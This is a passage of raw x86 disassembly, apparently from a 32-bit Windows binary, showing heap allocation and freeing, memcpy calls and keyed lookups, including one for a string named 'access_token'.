mov dword [esp + 0x81c], esi
mov dword [esp + 0x820], esi
call fcn.005eeb70
test eax, eax
je 0x482ec2
movdqu xmm0, xmmword [eax]
mov edi, dword [0x6d3de0]
movd edx, xmm0
pshufd xmm1, xmm0, 0x55
add edx, 1
movd ecx, xmm1
adc ecx, 0
mov dword [eax], edx
mov dword [eax + 4], ecx
lea ecx, [esp + 0x7c8]
movdqu xmmword [esp + 0x3b8], xmm0
mov dword [esp + 0x3c8], 0
mov dword [esp + 0x3cc], 0x61fe20
mov dword [esp + 0x3d0], 0
mov dword [esp + 0x3d4], 0
mov dword [esp + 0x3d8], edi
mov dword [esp + 0x3dc], 0
mov dword [esp + 0x3e0], 0
mov dword [esp + 0x3e8], 0
call fcn.0041b320
mov eax, dword [0x6f1130]
test eax, eax
jne 0x480682
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x482ee8
mov dword [0x6f1130], eax
push 0x78
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x482ee8
mov esi, dword [esp + 0x8d0]
imul ecx, dword [esp + 0x8d8], 0x148
xor edx, edx
mov dword [esp + 0x528], eax
mov dword [esp + 0x52c], 5
mov dword [esp + 0x70], eax
mov dword [esp + 0x530], 0
add ecx, esi
lea eax, [edx*8 - 8]
shr eax, 3
inc eax
mov dword [esp + 0x1c], eax
mov eax, esi
nop dword [eax]
cmp eax, ecx
je 0x4807bf
test byte [eax + 0x2c], 1
lea esi, [eax + 0x148]
mov eax, esi
je 0x4806e0
mov dword [esp + 0x24], ecx
mov eax, dword [esi - 0x148]
mov ecx, dword [esi - 0x144]
mov dword [esp + 0x20], edx
test edx, edx
mov edx, dword [esp + 0x1c]
mov dword [esp + 4], eax
mov dword [esp + 0x30], ecx
je 0x48074b
mov eax, dword [esp + 0x70]
xor edi, edi
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
xor ebx, dword [esp + 4]
xor ecx, dword [esp + 0x30]
or ecx, ebx
je 0x48073b
inc edi
add eax, 0x18
cmp edx, edi
jne 0x480720
jmp 0x48074b
mov edi, dword [0x6d3de0]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
jmp 0x4806da
mov edx, dword [esp + 0x20]
cmp edx, dword [esp + 0x52c]
jne 0x480774
lea ecx, [esp + 0x528]
call fcn.00415f20
mov edi, dword [esp + 0x528]
mov edx, dword [esp + 0x530]
jmp 0x480778
mov edi, dword [esp + 0x70]
mov ecx, dword [esp + 0x30]
lea eax, [edx + edx*2]
mov dword [esp + 0x70], edi
inc edx
mov dword [edi + eax*8 + 4], ecx
mov ecx, dword [esp + 4]
mov dword [edi + eax*8], ecx
mov ecx, dword [0x6d6b64]
mov dword [edi + eax*8 + 8], ecx
mov dword [edi + eax*8 + 0xc], 0
mov dword [edi + eax*8 + 0x10], 0
mov edi, dword [0x6d3de0]
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x530], edx
jmp 0x4806cb
mov eax, dword [esp + 0x530]
movsd xmm0, qword [esp + 0x528]
lea esi, [esp + 0x3b8]
lea ecx, [esp + 0x528]
lea edx, [esp + 0x170]
mov dword [esp + 0x17c], eax
lea eax, [esp + 0x7c8]
movsd qword [esp + 0x174], xmm0
mov dword [esp + 0x170], eax
lea eax, [esp + 0xe8]
mov dword [esp + 0x180], edi
mov dword [esp + 0x184], 0
mov dword [esp + 0x188], 0
mov dword [esp + 0x18c], edi
mov dword [esp + 0x1a4], 0
mov dword [esp + 0x194], 0
mov dword [esp + 0x190], 0
mov dword [esp + 0x19c], 0
mov dword [esp + 0x198], 0
push eax
push esi
call fcn.0042d690
add esp, 8
cmp byte [esp + 0x534], 2
je 0x480a33
mov edx, dword [esp + 0x52c]
mov ecx, dword [esp + 0x538]
mov eax, dword [esp + 0x528]
mov ebx, dword [esp + 0x530]
test byte [esp + 0x7d5], 0x10
mov dword [esp + 0x20], edx
mov dword [esp + 4], ecx
mov edx, dword [esp + 0x53c]
mov ecx, dword [esp + 0x540]
mov dword [esp + 0x50], eax
mov dword [esp + 0x1c], edx
mov dword [esp + 0x24], ecx
mov edx, dword [esp + 0x544]
mov ecx, dword [esp + 0x548]
mov dword [esp + 0x30], edx
mov dword [esp + 0x70], ecx
jne 0x480946
mov eax, 0x1000
test dword [esp + 0x7dc], eax
jne 0x480946
mov eax, dword [esp + 0x534]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x54c]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x17c]
test eax, eax
je 0x480e63
mov edi, dword [esp + 0x174]
shl eax, 3
lea esi, [eax + eax*2]
add edi, 0xc
jmp 0x48092c
add edi, 0x18
add esi, 0xffffffe8
je 0x480e63
test dword [edi], 0x3fffffff
je 0x480920
push dword [edi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x480920
test ebx, ebx
je 0x48097f
mov eax, dword [esp + 0x50]
shl ebx, 4
lea edi, [eax + 4]
jmp 0x480968
add edi, 0x10
add ebx, 0xfffffff0
je 0x48097f
cmp dword [edi], 0
je 0x480960
push dword [edi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x480960
test dword [esp + 0x20], 0xfffffff
mov ebx, esi
je 0x48099c
push dword [esp + 0x50]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov ecx, dword [esp + 0x24]
test ecx, ecx
je 0x4809df
mov eax, dword [esp + 4]
shl ecx, 2
lea esi, [ecx + ecx*2]
lea edi, [eax + 4]
jmp 0x4809c8
add edi, 0xc
add esi, 0xfffffff4
je 0x4809df
cmp dword [edi], 0
je 0x4809c0
push dword [edi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x4809c0
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x480a02
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x480a02
push dword [esp + 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov edi, dword [esp + 0x30]
mov esi, ebx
mov ebx, dword [esp + 0x70]
test edi, edi
je 0x480a33
push edi
call dword [ebx]
add esp, 4
cmp dword [ebx + 4], 0
je 0x480a33
cmp dword [ebx + 8], 9
jb 0x480a25
mov edi, dword [edi - 4]
push edi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
lea ecx, [esp + 0x8c]
lea edx, [esp + 0x7c8]
push esi
call fcn.0041e530
add esp, 4
mov ebx, dword [esp + 0x8c]
mov esi, dword [esp + 0x94]
call fcn.005eeb70
test eax, eax
je 0x482ec2
movdqu xmm0, xmmword [eax]
movd edx, xmm0
pshufd xmm1, xmm0, 0x55
add edx, 1
movd ecx, xmm1
adc ecx, 0
mov dword [eax], edx
mov edx, ebx
mov dword [eax + 4], ecx
lea eax, [esp + 0x528]
mov dword [esp + 0x538], 0
mov dword [esp + 0x53c], 0x61fe20
mov dword [esp + 0x540], 0
mov dword [esp + 0x544], 0
movdqu xmmword [esp + 0x528], xmm0
lea ecx, [esp + 0x3b8]
push eax
push esi
call fcn.004180c0
add esp, 8
mov eax, dword [esp + 0x538]
test eax, eax
je 0x480cb6
cmp dword [esp + 0x544], 0
je 0x480c88
mov esi, dword [esp + 0x53c]
lea edi, [eax + 1]
mov dword [esp + 0x18], eax
mov dword [esp + 0x24], edi
movdqa xmm0, xmmword [esi]
lea ebx, [esi + eax + 1]
lea ecx, [esi + 0x10]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x20], ebx
pmovmskb eax, xmm0
not eax
mov dword [esp + 0x70], eax
nop dword [eax]
mov eax, dword [esp + 0x70]
test ax, ax
je 0x480b34
lea ecx, [eax - 1]
and ecx, eax
mov dword [esp + 0x70], ecx
jmp 0x480b74
mov ecx, dword [esp + 0x28]
nop dword [eax + eax]
cmp ecx, ebx
jae 0x480c82
movdqa xmm0, xmmword [ecx]
add esi, 0xfffffd00
add ecx, 0x10
pmovmskb eax, xmm0
cmp ax, 0xffff
je 0x480b40
mov edi, 0xfffffffe
mov dword [esp + 0x28], ecx
sub edi, eax
not eax
mov edx, eax
and edx, edi
mov dword [esp + 0x70], edx
bsf ax, ax
mov dword [esp + 0x1c], esi
movzx eax, ax
neg eax
lea eax, [eax + eax*2]
shl eax, 4
test dword [esi + eax - 0x1c], 0x3fffffff
lea edi, [esi + eax]
je 0x480ba4
push dword [edi - 0x20]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [edi - 0xc]
mov dword [esp + 0x30], edi
test eax, eax
je 0x480c40
mov ecx, dword [esp + 0x30]
lea eax, [eax + eax*2]
mov ebx, dword [ecx - 0x14]
lea eax, [ebx + eax*4]
mov dword [esp + 4], eax
jmp 0x480bd6
cmp ebx, dword [esp + 4]
je 0x480c40
mov eax, dword [ebx + 8]
mov edi, ebx
test eax, eax
je 0x480c10
mov ebx, dword [edi]
shl eax, 2
lea esi, [eax + eax*2]
add ebx, 4
jmp 0x480bf8
add ebx, 0xc
add esi, 0xfffffff4
je 0x480c10
cmp dword [ebx], 0
je 0x480bf0
push dword [ebx - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x480bf0
mov eax, dword [edi + 4]
lea ebx, [edi + 0xc]
test eax, eax
je 0x480bd0
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x480bd0
push dword [edi]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x480bd0
mov eax, dword [esp + 0x30]
mov edi, dword [esp + 0x24]
mov esi, dword [esp + 0x1c]
mov ebx, dword [esp + 0x20]
mov eax, dword [eax - 0x10]
test eax, eax
je 0x480b20
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x480b20
mov eax, dword [esp + 0x30]
push dword [eax - 0x14]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x480b20
mov esi, dword [esp + 0x18]
jmp 0x480c8d
lea edi, [eax + 1]
mov esi, eax
mov ecx, 0x30
mov eax, edi
mul ecx
add esi, eax
cmp esi, 0xffffffef
je 0x480cb6
mov ecx, dword [esp + 0x53c]
sub ecx, eax
push dword [ecx - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x3b8]
mov ecx, dword [esp + 0x3c8]
mov edx, dword [esp + 0x3cc]
mov ebx, dword [esp + 0x3bc]
test dword [esp + 0x90], 0x1fffffff
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x3c0]
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x3d0]
mov dword [esp + 0x24], edx
mov edx, dword [esp + 0x3d4]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x3c4]
mov dword [esp + 0x30], ecx
mov ecx, dword [esp + 0x3d8]
mov dword [esp + 0x70], edx
mov dword [esp + 4], eax
lea eax, [esp + 0x3dc]
mov dword [esp + 0x18], ecx
movsd xmm0, qword [eax]
movq xmm1, qword [eax + 8]
mov eax, dword [eax + 0x10]
mov dword [esp + 0x68], eax
movsd qword [esp + 0x58], xmm0
movq qword [esp + 0x60], xmm1
je 0x480d59
push dword [esp + 0x8c]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x17c]
test eax, eax
je 0x480da2
mov edi, dword [esp + 0x174]
shl eax, 3
lea esi, [eax + eax*2]
add edi, 0xc
jmp 0x480d88
add edi, 0x18
add esi, 0xffffffe8
je 0x480da2
test dword [edi], 0x3fffffff
je 0x480d80
push dword [edi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x480d80
mov eax, dword [esp + 0x178]
test eax, eax
je 0x480dcb
shl eax, 3
lea eax, [eax + eax*2]
test eax, eax
je 0x480dcb
push dword [esp + 0x174]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
test dword [esp + 0x184], 0x1fffffff
je 0x480dec
push dword [esp + 0x180]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
test dword [esp + 0x190], 0x1fffffff
je 0x480e0d
push dword [esp + 0x18c]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov dword [esp + 0x6c], 0
mov eax, dword [esp + 0xf0]
test eax, eax
je 0x480eef
mov edi, dword [esp + 0xe8]
shl eax, 2
lea esi, [eax + eax*2]
add edi, 4
jmp 0x480e4c
add edi, 0xc
add esi, 0xfffffff4
je 0x480eef
cmp dword [edi], 0
je 0x480e40
push dword [edi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x480e40
mov eax, dword [esp + 0x178]
test eax, eax
je 0x480e8c
shl eax, 3
lea eax, [eax + eax*2]
test eax, eax
je 0x480e8c
push dword [esp + 0x174]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
test dword [esp + 0x184], 0x1fffffff
je 0x480ead
push dword [esp + 0x180]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
test dword [esp + 0x190], 0x1fffffff
je 0x480ece
push dword [esp + 0x18c]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
lea ecx, [esp + 0x3b8]
call fcn.004193b0
mov al, 1
mov dword [esp + 0x6c], eax
mov eax, dword [esp + 0xf0]
test eax, eax
jne 0x480e24
mov eax, dword [esp + 0xec]
test eax, eax
je 0x480f18
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x480f18
push dword [esp + 0xe8]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
push 0x158
lea eax, [esp + 0x7cc]
push eax
lea eax, [esp + 0x3c0]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
cmp byte [esp + 0x6c], 0
mov esi, dword [esp + 0x30]
jne 0x482ef9
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 4]
movsd xmm0, qword [esp + 0x58]
movq xmm1, qword [esp + 0x60]
mov dword [esp + 0x170], eax
mov dword [esp + 0x174], ebx
mov dword [esp + 0x178], ecx
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x17c], edx
mov edx, dword [esp + 0x24]
mov dword [esp + 0x180], ecx
mov ecx, dword [esp + 0x70]
mov dword [esp + 0x184], edx
mov dword [esp + 0x188], esi
mov edx, dword [esp + 0x18]
mov dword [esp + 0x18c], ecx
mov ecx, dword [esp + 0x68]
mov dword [esp + 0x190], edx
movsd qword [esp + 0x194], xmm0
movq qword [esp + 0x19c], xmm1
mov dword [esp + 0x1a4], ecx
lea ecx, [esp + 0x3b8]
call fcn.0047a5f0
mov esi, dword [esp + 0xa4]
mov eax, dword [esp + 0xa8]
sub eax, esi
je 0x48101f
sar eax, 2
add esi, 4
imul eax, eax, 0xaaaaaaab
shl eax, 2
lea edi, [eax + eax*2]
jmp 0x481008
add esi, 0xc
add edi, 0xfffffff4
je 0x48101f
cmp dword [esi], 0
je 0x481000
push dword [esi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x481000
mov eax, dword [esp + 0xa0]
test eax, eax
je 0x481048
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x481048
push dword [esp + 0x9c]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov edx, str.access_token
lea ecx, [esp + 0x170]
push 0xc
call fcn.0047ab40
add esp, 4
test eax, eax
je 0x4810b1
test edx, edx
js 0x482de6
mov esi, eax
test edx, edx
mov dword [esp + 8], edx
je 0x4810c6
mov dword [esp + 0x24], 0
mov eax, dword [0x6f1130]
test eax, eax
jne 0x48109b
call sub.KERNEL32.dll_GetProcessHeap
mov edx, dword [esp + 8]
test eax, eax
je 0x481486
mov dword [0x6f1130], eax
push edx
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov edx, dword [esp + 8]
test eax, eax
jne 0x4810d3
jmp 0x481486
mov dword [esp + 0x24], 0
mov dword [esp + 0xcc], 0
jmp 0x4810e5
mov eax, 1
mov dword [esp + 0x24], 0
push edx
push esi
mov dword [esp + 0xd4], eax
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov edx, 0xd4e6d420
lea ecx, [esp + 0x170]
push 0x83ee6c8c
call fcn.0047a7f0
add esp, 4
cmp eax, 1
mov al, 1
mov byte [esp + 0xc], 1
jne 0x4811a7
mov eax, dword [esp + 0x198]
cmp edx, eax
jae 0x482d71
mov eax, dword [esp + 0x190]
imul ecx, edx, 0x38
mov ebx, dword [eax + ecx + 0x1c]
mov eax, dword [eax + ecx + 0x24]
xor ecx, ecx
mov dword [esp + 0x8c], 0
shl eax, 2
lea eax, [eax + eax*2]
lea edi, [ebx + eax]
test ecx, ecx
mov esi, ecx
je 0x48115a
nop dword [eax + eax]
xor esi, esi
cmp ecx, edx
jne 0x482025
test ebx, ebx
je 0x48117b
test eax, eax
je 0x48117b
mov edx, dword [ebx + 8]
mov ecx, dword [ebx]
add ebx, 0xc
add eax, 0xfffffff4
lea edx, [edx + edx*2]
lea edx, [ecx + edx*4]
test ecx, ecx
mov esi, ecx
jne 0x481150
jmp 0x48115a
mov dword [esp + 0x9c], edx
mov dword [esp + 0x58], esi
mov eax, dword [0x6d6b64]
mov dword [esp + 0x6c], 0
mov dword [esp + 0xac], 0
test eax, eax
mov dword [esp + 0x24], eax
sete al
lea esi, [esp + 0x170]
mov edx, 0x664c82d5
mov byte [esp + 0xc8], al
mov ecx, esi
push 0x921afc8e
call fcn.0047a7f0
add esp, 4
mov ecx, esi
mov edx, 0x3ad00475
mov dword [esp + 0x164], eax
push 0x4f3e64a4
call fcn.0047a7f0
add esp, 4
mov ecx, esi
mov edx, 0x8a18880e
mov dword [esp + 0xe4], eax
push 0xa4433ebf
call fcn.0047a7f0
add esp, 4
mov ecx, esi
mov edx, 0xccd76e14
mov dword [esp + 0xe0], eax
push 0x11c16b8e
call fcn.0047a7f0
add esp, 4
mov ecx, esi
mov edx, 0x6fd77d93
mov dword [esp + 0x98], eax
push 0x24aac8fa
call fcn.0047a7f0
add esp, 4
mov ecx, esi
mov edx, 0x43e5d59b
mov dword [esp + 0x160], eax
push 0x43ce3510
call fcn.0047a7f0
add esp, 4
cmp eax, 1
mov ecx, 0
mov dword [esp + 4], 0
jne 0x481303
mov eax, dword [esp + 0x198]
cmp edx, eax
jae 0x482d71
mov eax, dword [esp + 0x190]
imul ecx, edx, 0x38
mov ebx, dword [eax + ecx + 0x1c]
mov eax, dword [eax + ecx + 0x24]
xor ecx, ecx
mov dword [esp + 0x8c], 0
shl eax, 2
lea eax, [eax + eax*2]
lea edi, [ebx + eax]
test ecx, ecx
mov esi, ecx
je 0x4812ba
nop word cs:[eax + eax]
nop dword [eax]
xor esi, esi
cmp ecx, edx
jne 0x48208e
test ebx, ebx
je 0x4812db
test eax, eax
je 0x4812db
mov edx, dword [ebx + 8]
mov ecx, dword [ebx]
add ebx, 0xc
add eax, 0xfffffff4
lea edx, [edx + edx*2]
lea edx, [ecx + edx*4]
test ecx, ecx
mov esi, ecx
jne 0x4812b0
jmp 0x4812ba
mov dword [esp + 0x9c], edx
mov dword [esp + 0x58], esi
mov ecx, dword [0x6d6b64]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
test ecx, ecx
sete byte [esp + 0xc]
mov edx, 0x6c5af62e
mov dword [esp + 0x30], ecx
lea ecx, [esp + 0x170]
push 0xe2d7d3dc
call fcn.0047a7f0
add esp, 4
cmp eax, 1
jne 0x48139b
mov eax, dword [esp + 0x198]
cmp edx, eax
jae 0x482d71
mov eax, dword [esp + 0x190]
imul ecx, edx, 0x38
mov esi, dword [eax + ecx + 0x1c]
mov eax, dword [eax + ecx + 0x24]
xor ecx, ecx
mov dword [esp + 0x8c], 0
shl eax, 2
lea eax, [eax + eax*2]
lea ebx, [esi + eax]
test ecx, ecx
mov edi, ecx
je 0x48137a
nop word cs:[eax + eax]
nop dword [eax]
xor edi, edi
cmp ecx, edx
jne 0x4820fc
test esi, esi
je 0x4813a2
test eax, eax
je 0x4813a2
mov edx, dword [esi + 8]
mov ecx, dword [esi]
add esi, 0xc
add eax, 0xfffffff4
lea edx, [edx + edx*2]
lea edx, [ecx + edx*4]
test ecx, ecx
mov edi, ecx
jne 0x481370
jmp 0x48137a
mov byte [esp + 0x4c], 1
jmp 0x4813cd
mov dword [esp + 0x9c], edx
mov dword [esp + 0x58], edi
mov eax, dword [0x6d6b64]
mov dword [esp + 0x70], 0
mov dword [esp + 0x28], 0
test eax, eax
mov dword [esp + 4], eax
sete byte [esp + 0x4c]
lea esi, [esp + 0x170]
mov edx, 0x2266d905
mov ecx, esi
push 0xa0ac820f
call fcn.0047a7f0
add esp, 4
mov edi, eax
mov edx, 0x35ae4226
mov ecx, esi
push 0xba3d8d45
call fcn.0047a7f0
add esp, 4
mov ebx, eax
mov edx, 0xca4fb9da
mov ecx, esi
push 0xe1391ec
call fcn.0047a7f0
add esp, 4
mov edx, 0x2d433128
mov dword [esp + 0x10], eax
mov ecx, esi
push 0xd4ebc8fb
call fcn.0047a7f0
add esp, 4
mov edx, 0x61f266
mov dword [esp + 0x15c], eax
mov ecx, esi
push 8
call fcn.0047ab40
add esp, 4
test eax, eax
je 0x48148d
test edx, edx
js 0x482de6
mov esi, eax
test edx, edx
mov dword [esp + 0x14], edx
je 0x48149a
mov eax, dword [0x6f1130]
test eax, eax
jne 0x481475
call sub.KERNEL32.dll_GetProcessHeap
mov edx, dword [esp + 0x14]
test eax, eax
je 0x481486
mov dword [0x6f1130], eax
push edx
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov edx, dword [esp + 0x14]
test eax, eax
jne 0x48149f
mov ecx, edx
jmp 0x4821cc
mov dword [esp + 0xd8], 0
jmp 0x4814b1
mov eax, 1
push edx
push esi
mov dword [esp + 0xe0], eax
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
lea esi, [esp + 0x170]
mov edx, 0xdb2284a6
mov ecx, esi
push 0x1ec9d3d5
call fcn.0047a7f0
add esp, 4
mov edx, 0x46b8f63f
mov dword [esp + 0xc0], eax
mov ecx, esi
push 0x24dfa170
call fcn.0047a7f0
add esp, 4
mov edx, 0xad90c2ec
mov dword [esp + 0xd4], eax
mov ecx, esi
push 0x5cd1a2b9
call fcn.0047a7f0
add esp, 4
mov edx, 0xdf571836
mov dword [esp + 0xd0], eax
mov ecx, esi
push 0xf379d46f
call fcn.0047a7f0
add esp, 4
cmp eax, 1
mov dword [esp + 0xc4], edi
mov dword [esp + 0xdc], ebx
jne 0x4815ab
mov eax, dword [esp + 0x198]
cmp edx, eax
jae 0x482d71
mov eax, dword [esp + 0x190]
imul ecx, edx, 0x38
mov ebx, dword [eax + ecx + 0x1c]
mov eax, dword [eax + ecx + 0x24]
mov dword [esp + 0x8c], 0
shl eax, 2
lea eax, [eax + eax*2]
lea ecx, [ebx + eax]
mov dword [esp + 0xbc], ecx
xor ecx, ecx
test ecx, ecx
mov esi, ecx
je 0x48158a
nop word cs:[eax + eax]
nop
xor esi, esi
cmp ecx, edx
jne 0x482167
test ebx, ebx
je 0x4815bb
test eax, eax
je 0x4815bb
mov edx, dword [ebx + 8]
mov ecx, dword [ebx]
add ebx, 0xc
add eax, 0xfffffff4
lea edx, [edx + edx*2]
lea edx, [ecx + edx*4]
test ecx, ecx
mov esi, ecx
jne 0x481580
jmp 0x48158a
mov al, byte [esp + 0xc8]
mov byte [esp + 0x18], 1
xor esi, esi
jmp 0x4815ef
mov dword [esp + 0x9c], edx
mov dword [esp + 0x58], esi
mov ecx, dword [0x6d6b64]
mov dword [esp + 0x50], 0
mov dword [esp + 0x88], 0
mov al, byte [esp + 0xc8]
test ecx, ecx
mov esi, ecx
sete byte [esp + 0x18]
cmp byte [esp + 0x4c], 0
mov ecx, dword [0x6d6b64]
mov edx, dword [esp + 4]
mov edi, dword [esp + 0x70]
mov ebx, dword [esp + 0x6c]
cmovne edx, ecx
mov dword [esp + 4], edx
mov edx, 0
cmovne edi, edx
mov dword [esp + 0x70], edi
mov edi, dword [esp + 0x28]
cmovne edi, edx
cmp byte [esp + 0xc], 0
mov dword [esp + 0x28], edi
mov edi, dword [esp + 0x30]
cmovne edi, ecx
mov dword [esp + 0x30], edi
mov edi, dword [esp + 0x20]
cmovne edi, edx
mov dword [esp + 0x20], edi
mov edi, dword [esp + 0x1c]
cmovne edi, edx
test al, al
mov eax, dword [esp + 0xac]
mov dword [esp + 0x1c], edi
mov edi, dword [esp + 0x24]
cmovne ebx, edx
cmovne eax, edx
mov edx, dword [esp + 0x88]
cmovne edi, ecx
test byte [esp + 0x18], 1
cmovne esi, ecx
mov ecx, 0
mov dword [esp + 0x18], esi
mov esi, dword [esp + 0x50]
cmovne edx, ecx
mov ecx, 0
cmovne esi, ecx
cmp dword [esp + 0x164], 1
mov ecx, dword [esp + 0xcc]
sete byte [esp + 0x6b8]
cmp dword [esp + 0xe4], 1
sete byte [esp + 0x6b9]
cmp dword [esp + 0xe0], 1
sete byte [esp + 0x6ba]
cmp dword [esp + 0x98], 1
sete byte [esp + 0x6bb]
cmp dword [esp + 0x160], 1
sete byte [esp + 0x6bc]
cmp dword [esp + 0xc4], 1
sete byte [esp + 0x6bd]
cmp dword [esp + 0xdc], 1
sete byte [esp + 0x6be]
cmp dword [esp + 0x10], 1
sete byte [esp + 0x6bf]
cmp dword [esp + 0x15c], 1
sete byte [esp + 0x6c0]
cmp dword [esp + 0xc0], 1
sete byte [esp + 0x6c1]
cmp dword [esp + 0xd4], 1
sete byte [esp + 0x6c2]
mov dword [esp + 0x670], ecx
mov ecx, dword [esp + 8]
cmp dword [esp + 0xd0], 1
mov dword [esp + 0x674], ecx
mov dword [esp + 0x678], ecx
mov ecx, dword [esp + 0xd8]
mov dword [esp + 0x6a0], ecx
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x6a4], ecx
mov dword [esp + 0x6a8], ecx
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x67c], edi
mov dword [esp + 0x680], eax
mov dword [esp + 0x684], ebx
mov edi, dword [esp + 0x20]
lea ebx, [esp + 0x67c]
mov dword [esp + 0x688], ecx
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x68c], edi
mov edi, dword [esp + 4]
mov dword [esp + 0x690], ecx
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x694], edi
mov edi, dword [esp + 0x70]
mov dword [esp + 0x698], ecx
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x69c], edi
lea edi, [esp + 0x688]
mov dword [esp + 0x6ac], ecx
mov dword [esp + 0x6b0], edx
mov dword [esp + 0x6b4], esi
lea esi, [esp + 0x170]
sete byte [esp + 0x6c3]
mov ecx, esi
call fcn.00486f90
mov al, byte [esp + 0x6bc]
cmp dword [esp + 0x684], 0
movss xmm0, dword [esp + 0x3ad]
lea edx, [esp + 0x394]
mov ecx, 0
cmovne edx, ebx
xor al, 1
cmp byte [esp + 0x3b1], 0
movaps xmmword [esp + 0x70], xmm0
movd xmm0, dword [esp + 0x6b8]
movzx eax, al
cmove eax, ecx
lea ecx, [esp + 0x528]
movdqa xmmword [esp + 0x30], xmm0
mov dword [esp + 4], eax
call fcn.00477c50
cmp dword [esp + 0x690], 0
lea edx, [esp + 0x3a0]
lea ecx, [esp + 0x534]
cmovne edx, edi
call fcn.00477c50
movdqa xmm1, xmmword [esp + 0x30]
pxor xmm0, xmm0
lea eax, [esp + 0x3c2]
pcmpeqb xmm0, xmmword [esp + 0x70]
pxor xmm1, xmmword [0x606680]
pandn xmm0, xmm1
movdqa xmmword [esp + 0x30], xmm0
push 0x54
lea ecx, [esp + 0x674]
push ecx
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
push 0xcd
lea eax, [esp + 0x2e4]
push eax
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
lea eax, [esp + 0x3ae]
movsd xmm1, qword [esp + 0x530]
mov bl, byte [esp + 0x3ad]
movsd xmm2, qword [esp + 0x528]
movsd xmm0, qword [eax]
movzx eax, word [eax + 8]
movsd qword [esp + 0x3b8], xmm0
mov word [esp + 0x3c0], ax
movsd qword [esp + 0x41e], xmm1
movq xmm1, qword [esp + 0x538]
movsd qword [esp + 0x416], xmm2
movq qword [esp + 0x426], xmm1
push 0x76
lea eax, [esp + 0x3bc]
push eax
lea eax, [esp + 0x7d0]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov esi, dword [esp + 0xb0]
mov edi, dword [esp + 0x16c]
mov edx, dword [esp + 0x168]
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x110]
shl ecx, 0x10
or eax, ecx
mov ecx, dword [esp + 0x54]
shld eax, ecx, 8
je 0x481993
push edi
push 0
push dword [0x6f1130]
mov edi, edx
call sub.KERNEL32.dll_HeapFree
mov edx, edi
test edx, edx
je 0x481e58
cmp dword [esp + 0x2fc], 0
je 0x4819b9
push dword [esp + 0x2f8]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x308], 0
je 0x4819d7
push dword [esp + 0x304]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x314], 0
je 0x4819f5
push dword [esp + 0x310]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x320], 0
je 0x481a13
push dword [esp + 0x31c]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x32c], 0
je 0x481a31
push dword [esp + 0x328]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x338], 0
je 0x481a4f
